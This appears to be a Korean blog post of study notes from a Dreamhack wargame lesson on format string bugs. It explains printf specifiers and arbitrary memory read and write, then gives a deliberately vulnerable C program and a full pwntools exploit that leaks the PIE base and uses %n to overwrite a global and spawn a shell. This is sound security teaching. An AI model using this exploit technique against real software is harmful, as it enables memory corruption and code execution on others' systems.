System Hacking

Format String Bug | dreamhack

burrri 2024. 3. 17. 02:54

Memory Corruption : Format String Bug

format string을 인자로 사용하는 함수 : scanf, fprintf, fscanf ... 등

=> 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져옴

 

그러나, 필요로 하는 인자의 개수 & 함수로 전달된 인자의 개수를 비교하는 검증이 존재x 

=> 악의적으로 다수의 인자요청 - 레지스터나 스택을 읽거나 쓸 수 o :: FSB (format string bug)

 

포맷 스트링

 

- specifier 형식 지정자

: d 10진수정수 / s 문자열 / x 부호없는 16진수 / n 현재까지 사용된 문자열의 길이를 저장 / p void형 포인터

 

-width 최소 너비 지정

: 최소 너비 지정 -> 더 짧으면 공백문자를 패딩

: 예 ) %.5f 

#include <stdio.h>
int main() {
  int num;
  printf("%8d\n", 123);            // "     123"
  printf("%s\n", "Hello, world");  // "Hello, world"
  printf("%x\n", 0xdeadbeef);      // "deadbeef"
  printf("%p\n", &num);            // "0x7ffe6d1cb2c4"
  printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
  printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "
  return 0;
}

 

- parameter

: 참조할 인자의 idx

: 예 )   printf("%2$d, %1$d\n",2,1);   // 두번째 인자(1) 를 프린트, 1번째 인자(2)를 프린트

 

 

포맷 스트링 버그

포맷 스트링 함수의 잘못된 사용으로 발생하는 버그

: 사용자가 입력가능한 포맷스트링 -> 임의의 주소를 읽고 쓰기 가능

 

레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

format입력에 %p  %p  %p  %p  %p  %p  %p  %p  %p  %p (10번) 입력

=> 10개의 인자를 필요로하는 포맷 스트링을 사용햇기에 레지스터와 스택에 존재하는 값이 출력

( 각각 rsi, rdx, rcx, r8, r9 [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20])

  

 

임의 주소 읽기 및 쓰기

임의 주소 읽기

공격.py

- fstring = b"%7$s".ljust(8)

: 7번째 인자를 stack에서 가져와, .ljust(8)을 사용하여 문자열을 8바이트로 지정

- fstring += p64(addr_secret) 

: addr_secret값을 64비트 리틀 엔디안으로 변환하여(기계) 문자열 포맷에 추가

 

임의 주소 쓰기

:secret 전역 변수의 값이 31337로 조작

 

 


Format String Bug

 

 

코드 분석 및 보호기법

- amd64 (64bit)

- RELRO, NX, PIE적용

- canary 미적용 

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// buf에서 직접 size만큼 read
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  // 오류
  if (i == -1) {
    perror("read");
    exit(1);
  }
  //음수에 대한 검증 부족 
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

// 전역 변수 changeme
int changeme;

int main() {
  char buf[0x20]; //0x20 (33바이트)
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

 

시나리오

(목표) 전역변수 changeme를 1337로 변경하여 system함수 호출 

1. chaneme 주소 구하기

: changeme를 조작하려면 일단 주소를 당연히 알아아지. 

: PIE가 적용되었으므로 changeme주소는 실행 시마다 변경...

=> base 주소를 구하고 offset을 구해서 changeme 주소 겟

 

2. changeme 1337로 설정

get_string으로 changeme 의 주소를 stack에 저장

=> printf에서 %n으로 조작

 

Exploit

1. chaneme 주소 구하기

$disass main 

$b* main+76 : printf함수가 호출되는 offset에 break

$r 

=> get_string함수에서 입력 get

 

이때, rsp 값 get

 

 

$vmmap

: fsb_overwrite 바이너릭 매핑된 영역에 포함되는 주소 => 이 주소를 사용하면 PIE베이스 주소를 구할 수 있다.

0x555555558000 ~ 0x555555559000

[RSP-0X48] 과 PIE 베이스 주소 간의 offset

pwndbg> p/x 0x555555555293 - 0x555555554000

$1 = 0x1293

 

+

x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달합니다.

예 ) printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9);를 호출하면, 1, 2, 3, 4, 5, 6, 7, 8, 9는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달.

->  PIE 베이스 주소를 구할 주소를 가진 [RSP+0x48]은 포맷 스트링의 15번째 인자이므로, %15$p로 읽을 수 있다.

 

$readelf -s fsb_overwrite | grep changeme를 통해 

전역 변수의 offset확인

=> pie 베이스 주소 + 위의 offset => changeme 주소

 

2. 1337길이의 문자열 출력

%n은 현재까지 출력된 문자열의 길이를 인자에 저장

=>해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력

 

width 속성을 사용하여 출력의 최소 길이를 지정 (작으면 패딩 문자를 추가)

 

3. changeme 덮어쓰기

 

 

Exploit code

#!/usr/bin/env python3
# Name: get_changeme.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./fsb_overwrite')
elf = ELF('./fsb_overwrite')

# [1] Get Address of changeme
p.sendline(b'%15$p') # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']

slog('code_base', code_base)
slog('changeme', changeme)

# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)

p.interactive()

 

'System Hacking' 카테고리의 다른 글

Double Free Bug | dreamhack  (1) 2024.03.17
Use After Free | dreamhack  (1) 2024.03.17
Out of bounds | dreamhack  (0) 2024.03.17
PIE & RELRO (2) | dreamhack  (0) 2024.03.17
PIE & RELRO(1) | dreamhack  (0) 2024.03.16